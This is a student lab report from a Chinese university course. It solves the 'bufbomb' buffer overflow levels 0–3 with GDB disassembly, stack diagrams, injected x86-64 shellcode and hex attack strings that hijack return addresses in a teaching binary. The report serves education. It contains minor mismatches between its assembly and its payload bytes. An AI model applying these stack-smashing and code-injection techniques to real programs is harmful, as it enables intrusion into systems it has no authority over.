华中科技大学

课 程 实 验 报 告

课程名称： 计算机系统基础

实验名称： 缓冲区溢出攻击

院　　系：计算机科学与技术

专业班级：CS2201

学　　号：U202215357

姓　　名：王文涛

指导教师：朱　虹

2024 年 4 月 22 日

一、实验目的与要求

通过分析一个程序（称为“缓冲区炸弹”）的构成和运行逻辑，加深对理论课中关于程序的机器级表示、函数调用规则、栈结构等方面知识点的理解，增强反汇编、跟踪、分析、调试等能力，加深对缓冲区溢出攻击原理、方法与防范等方面知识的理解和掌握；

实验环境：Ubuntu，GCC，GDB 等

二、实验内容

任务　缓冲区溢出攻击

程序运行过程中，需要输入特定的字符串，使得程序达到期望的运行效果。

对一个可执行程序“bufbomb” 实施一系列缓冲区溢出攻击(buffer overflow attacks)，也就是设法通过造成缓冲区溢出来改变该程序的运行内存映像(例如将专门设计的字节序列插入到栈中特定内存位置)和行为，以实现实验预定的目标。bufbomb 目标程序在运行时使用函数 getbuf 读入一个字符串。根据不同的任务，学生生成相应的攻击字符串。

实验中需要针对目标可执行程序 bufbomb,分别完成多个难度递增的缓冲区溢出攻击(完成的顺序没有固定要求)。按从易到难的顺序，这些难度级分别命名为 smoke (level 0)、fizz (level 1)、bang (level 2)、boom (level 3)和 kaboom (level 4)。

1、第 0 级 smoke

正常情况下，getbuf 函数运行结束，执行最后的 ret 指令时，将取出保存于栈帧中的返回（断点）地址并跳转至它继续执行（test 函数中调用 getbuf 处）。要求将返回地址的值改为本级别实验的目标 smoke 函数的首条指令的地址， getbuf 函数返回时，跳转到 smoke 函数执行，即达到了实验的目标。

2、第 1 级 fizz

要求 getbuf 函数运行结束后，转到 fizz 函数处执行。与 smoke 的差别是，fizz 函数有一个参数。fizz 函数中比较了参数 val 与 全局变量 cookie 的值，只有两者相同（要正确打印 val）才能达到目标。

3、第 2 级 bang

要求 getbuf 函数运行结束后，转到 bang 函数执行，并且让全局变量 global_value 与 cookie 相同（要正确打印 global_value）。

4、第 3 级 boom

无感攻击，执行攻击代码后，程序仍然返回到原来的调用函数继续执行，使得调用函数（或者程序用户）感觉不到攻击行为。

构造攻击字符串，让函数 getbuf 将 cookie 值返回给 test 函数，而不是返回值 1 。还原被破坏的栈帧状态，将正确的返回地址压入栈中，并且执行 ret 指令，从而返回到 test 函数。

三、实验记录及问题回答

（1） 等级 0

首先查看 main 函数

```
(gdb) list main
200         memcpy(dest,src,len);
201         return dest;
202     }
203
204     int main(int argc, char *argv[])
205     {
206         struct  env_info  input_args;
207
208         if (argc <4) {
209             printf("usage : %s <stuid> <string_file>  <level> \n", argv[0]);
(gdb)
210             printf("Example :  ./bufbomb  U202115001 smoke_hex.txt  0  \n");
211             return 0;
212         }
213
214         strcpy(input_args.userid, argv[1]);
215         strcpy(input_args.file_name, argv[2]);
216         input_args.level = atoi(argv[3]);
217         printf("user id : %s \n", input_args.userid);
218         cookie = gencookie(input_args.userid);
219         printf("cookie : 0x%x \n", cookie);
(gdb)
220         printf("hex string file : %s \n", input_args.file_name);
221         printf("level : %d \n", input_args.level);
222
223         printf("smoke : 0x%p   fizz : 0x%p  bang : 0x%p \n",smoke,fizz,bang);
224
225         initialize_bomb(input_args.userid);
226
227         test(&input_args);
228
229         printf("bye bye , %s\n",input_args.userid);
(gdb)
230         return 0;
231     }
232
```

选择在 test 处设置断点，带参数运行。一步步运行到函数调用函数 getbuf，对函数反汇编。

```
(gdb) disass getbuf
Dump of assembler code for function getbuf:
   0x0000000000401a53 <+0>:     push   %rbp
   0x0000000000401a54 <+1>:     mov    %rsp,%rbp
   0x0000000000401a57 <+4>:     sub    $0x50,%rsp
   0x0000000000401a5b <+8>:     mov    %rdi,-0x48(%rbp)
   0x0000000000401a5f <+12>:    mov    %esi,-0x4c(%rbp)
   0x0000000000401a62 <+15>:    movabs $0x20657665696c6542,%rax
   0x0000000000401a6c <+25>:    movabs $0x7372756f79206e69,%rdx
   0x0000000000401a76 <+35>:    mov    %rax,-0x20(%rbp)
   0x0000000000401a7a <+39>:    mov    %rdx,-0x18(%rbp)
   0x0000000000401a7e <+43>:    movl   $0x666c65,-0x10(%rbp)
   0x0000000000401a85 <+50>:    mov    -0x4c(%rbp),%edx
   0x0000000000401a88 <+53>:    mov    -0x48(%rbp),%rcx
   0x0000000000401a8c <+57>:    lea    -0x40(%rbp),%rax
   0x0000000000401a90 <+61>:    mov    %rcx,%rsi
   0x0000000000401a93 <+64>:    mov    %rax,%rdi
   0x0000000000401a96 <+67>:    call   0x401590 <Gets>
   0x0000000000401a9b <+72>:    mov    $0x1,%eax
   0x0000000000401aa0 <+77>:    leave
   0x0000000000401aa1 <+78>:    ret
End of assembler dump.
```

对照函数 getbuf 原函数

```
int getbuf(char *src, int len)
{
    char buf[NORMAL_BUFFER_SIZE];
    Gets(buf,src,len);
    return 1;
}
```

两个参数 src,len 分别储存在-0x48(%rbp)和-0x4c(%rbp)中，在调用函数 Gets 前将-0x40(%rbp)的地址存到 rax 中作为参数 buf。画出栈帧如下：

	getbuf返回地址 0x40147a	
	test中rbp	rbp
rbp-0x8		
rbp-0x10	**temp[16~18]**	
rbp-0x18	**temp7[8~15]**	
rbp-0x20	**temp7[0~7]**	
	buf[8,9,10,11,12]	
rbp-0x40	**buf[0,1,2,3,4,5,6,7]**	
rbp-0x48	**src**	
rbp-0x4c	**len=13**	
rbp-0x50		rsp

所以构造的字符串前面需要 72 个字符，后面加上函数 smoke 的地址就能正好存放在 getbuf 返回地址处。查看 smoke 函数地址为 0x4012f6

```
(gdb) disass smoke
Dump of assembler code for function smoke:
   0x00000000004012f6 <+0>:     push   %rbp
   0x00000000004012f7 <+1>:     mov    %rsp,%rbp
```

字符串如下：

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
f6 12 40 00 00 00 00

过关。

```
f@f-virtual-machine:~/Desktop/bufbomb$ ./bufbomb U202215357 0.txt 0
user id : U202215357
cookie : 0xc0d8fbd
hex string file : 0.txt
level : 0
smoke : 0x0x4012f6   fizz : 0x0x401313  bang : 0x0x401367
welcome  U202215357
adress of buf:0x7fffffffdd30
Smoke!: You called smoke()
```

（2） 等级 1

首先反汇编 fizz 函数，决定跳转到 0x40131b 处。

```
(gdb) disass fizz
Dump of assembler code for function fizz:
   0x0000000000401313 <+0>:     push   %rbp
   0x0000000000401314 <+1>:     mov    %rsp,%rbp
   0x0000000000401317 <+4>:     sub    $0x10,%rsp
   0x000000000040131b <+8>:     mov    %edi,-0x4(%rbp)
   0x000000000040131e <+11>:    mov    0x2dc4(%rip),%eax
   0x0000000000401324 <+17>:    cmp    %eax,-0x4(%rbp)
   0x0000000000401327 <+20>:    jne    0x401344 <fizz+49>
   0x0000000000401329 <+22>:    mov    -0x4(%rbp),%eax
   0x000000000040132c <+25>:    mov    %eax,%esi
   0x000000000040132e <+27>:    lea    0xdcc(%rip),%rax
   0x0000000000401335 <+34>:    mov    %rax,%rdi
   0x0000000000401338 <+37>:    mov    $0x0,%eax
   0x000000000040133d <+42>:    call   0x401090 <printf@plt>
   0x0000000000401342 <+47>:    jmp    0x40135d <fizz+74>
   0x0000000000401344 <+49>:    mov    -0x4(%rbp),%eax
   0x0000000000401347 <+52>:    mov    %eax,%esi
   0x0000000000401349 <+54>:    lea    0xdd0(%rip),%rax
   0x0000000000401350 <+61>:    mov    %rax,%rdi
   0x0000000000401353 <+64>:    mov    $0x0,%eax
   0x0000000000401358 <+69>:    call   0x401090 <printf@plt>
   0x000000000040135d <+74>:    mov    $0x0,%edi
   0x0000000000401362 <+79>:    call   0x401120 <exit@plt>
End of assembler dump.
```

cmp 的一端为 0x4040e8 处的 cookie，另一端为-0x4(%rbp)，所以将返回的 rbp 置为 0x4040ec，使 cmp 两端指向同一个地方。

```
(gdb) x /8xb 0x401324+0x2dc4
0x4040e8 <cookie>:      0xbd    0x8f    0x0d    0x0c    0x00    0x00    0x00    0x00
```

字符串如下：

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ec 40 40 00 00 00 00 00

1b 13 40 00 00 00 00

过关。

```
f@f-virtual-machine:~/Desktop/bufbomb$ ./bufbomb U202215357 1.txt 1
user id : U202215357
cookie : 0xc0d8fbd
hex string file : 1.txt
level : 1
smoke : 0x0x4012f6   fizz : 0x0x401313  bang : 0x0x401367
welcome  U202215357
adress of buf:0x7fffffffdd30
Fizz!: You called fizz(0xffffdd30)
```

（3） 等级 2

实验的第 3，4 关要用到局部变量 buf 的地址，由于该值在 gdb 模式和直接运行下不同，所以在 buf.c 函数上加上语句显示 buf 的值。

```
char buf[NORMAL_BUFFER_SIZE];
printf("adress of buf:%p\n", buf);
Gets(buf,src,len);
```

运行程序，得到 buf 地址 0x7fffffffdd30。

```
adress of buf:0x7fffffffdd30
```

先对 bang 函数反汇编。

```
(gdb) disass bang
Dump of assembler code for function bang:
   0x0000000000401367 <+0>:     push   %rbp
   0x0000000000401368 <+1>:     mov    %rsp,%rbp
   0x000000000040136b <+4>:     sub    $0x10,%rsp
   0x000000000040136f <+8>:     mov    %edi,-0x4(%rbp)
   0x0000000000401372 <+11>:    mov    0x2d74(%rip),%edx        # 0x4040ec <global_value>
   0x0000000000401378 <+17>:    mov    0x2d6a(%rip),%eax        # 0x4040e8 <cookie>
   0x000000000040137e <+23>:    cmp    %eax,%edx
   0x0000000000401380 <+25>:    jne    0x4013a0 <bang+57>
   0x0000000000401382 <+27>:    mov    0x2d64(%rip),%eax        # 0x4040ec <global_value>
   0x0000000000401388 <+33>:    mov    %eax,%esi
   0x000000000040138a <+35>:    lea    0xdaf(%rip),%rax        # 0x402140
   0x0000000000401391 <+42>:    mov    %rax,%rdi
   0x0000000000401394 <+45>:    mov    $0x0,%eax
   0x0000000000401399 <+50>:    call   0x401090 <printf@plt>
   0x000000000040139e <+55>:    jmp    0x4013bc <bang+85>
   0x00000000004013a0 <+57>:    mov    0x2d46(%rip),%eax        # 0x4040ec <global_value>
   0x00000000004013a6 <+63>:    mov    %eax,%esi
   0x00000000004013a8 <+65>:    lea    0xdb6(%rip),%rax        # 0x402165
   0x00000000004013af <+72>:    mov    %rax,%rdi
   0x00000000004013b2 <+75>:    mov    $0x0,%eax
   0x00000000004013b7 <+80>:    call   0x401090 <printf@plt>
   0x00000000004013bc <+85>:    mov    $0x0,%edi
   0x00000000004013c1 <+90>:    call   0x401120 <exit@plt>
End of assembler dump.
```

根据要求，将 cookie 的值放入 global_value 中，查看 cookie 的值。

```
(gdb) x /x &cookie
0x4040e8 <cookie>:      0x0c0d8fbd
```

并将 bang 入口地址 0x401367 压入栈。编写汇编代码，编译后反汇编生成机器码如下。

```
0000000000000000 <.text>:
   0:   c7 04 25 ec 40 40 00    movl   $0xc0d8fbd,0x4040ec
   7:   bd 8f 0d 0c
   b:   68 67 13 40 00          push   $0x401367
  10:   c3                      ret
```

然而实际运行时会发现，当运行到 call printf@plt 时会报段错误。在网上查阅资料后发现，可能是因为 printf@plt 运行时会检查各个栈帧的返回地址是否有效，所以当跳到 <bang+0> 时，第一次 push 的 %rbp 被当作了返回地址，在检查时自然报错了。所以对代码进行一点修改，选择跳转到<bang+1>。字符串最后存放 buf 的地址，攻击字符串如下：

```
c7 04 25 ec 40 40 00 bd 8f 0d 0c 68 68 13 40 00 c3 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
30 dd ff ff ff 7f 00
```

过关。

```
f@f-virtual-machine:~/Desktop/bufbomb$ ./bufbomb U202215357 2.txt 2
user id : U202215357
cookie : 0xc0d8fbd
hex string file : 2.txt
level : 2
smoke : 0x0x4012f6   fizz : 0x0x401313  bang : 0x0x401367
welcome  U202215357
adress of buf:0x7fffffffdd30
Bang!: You set global_value to 0xc0d8fbd
```

（4） 等级 3

首先查看 test 函数中的 rbp，以及 getbuf 下一条语句的地址。按要求写处汇编程序。其他的地方均与等级 2 一致。

```
mov $0xc0d8fbd, %eax
mov $0x7fffffffdd60, %rbp
pushq $0x40147a
ret
```

使用 objdump 得到机器码。

```
b8 bd 8f 0d 0c          mov    $0xc0d8fbd,%eax
48 bd 60 dd ff ff ff    movabs $0x7fffffffdd60,%rbp
7f 00 00
68 7a 14 40 00          push   $0x40147a
c3                      ret
```

得到攻击字符串。

```
b8 bd 8f 0d 0c 48 bd 70 dd ff ff ff 7f 00 00 68 7a 14 40 00 c3 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
30 dd ff ff ff 7f 00
```

过关

```
f@f-virtual-machine:~/Desktop/bufbomb$ ./bufbomb U202215357 3.txt 3
user id : U202215357
cookie : 0xc0d8fbd
hex string file : 3.txt
level : 3
smoke : 0x0x4012f6   fizz : 0x0x401313  bang : 0x0x401367
welcome  U202215357
adress of buf:0x7fffffffdd30
Boom!: getbuf returned 0xc0d8fbd
```

四、体会

经过这次的实验，我深刻了解了缓冲区泄露的危害，以及黑客可以通过怎样的方法利用缓冲区泄露。同时，在这次实验中，我学习了 objdump 的使用方法，能够更灵活地进行反汇编。更有意义的是，我明白了函数栈帧的构造与画法，明白了程序运行时，栈中是如何储存数据的，寄存器是如何与栈相互作用的。由于这次实验是我第一次反汇编 64 位的程序，我对 64 位汇编和 32 位汇编的区别有了更加深刻的理解。也体会到了使用寄存器传参的简便之处。在等级 0，最大的困难是弄清楚输入的字符串会存储在栈的哪里，溢出的字符会将那些数据覆盖，函数返回时又是怎么跳转的。而在等级 2，最困难的地方是执行程序时出现的各种 bug。可能是由于随机化并未关闭成功，系统有对栈的保护机制等等。经过实验，我对程序的底层逻辑有了更深刻的理解。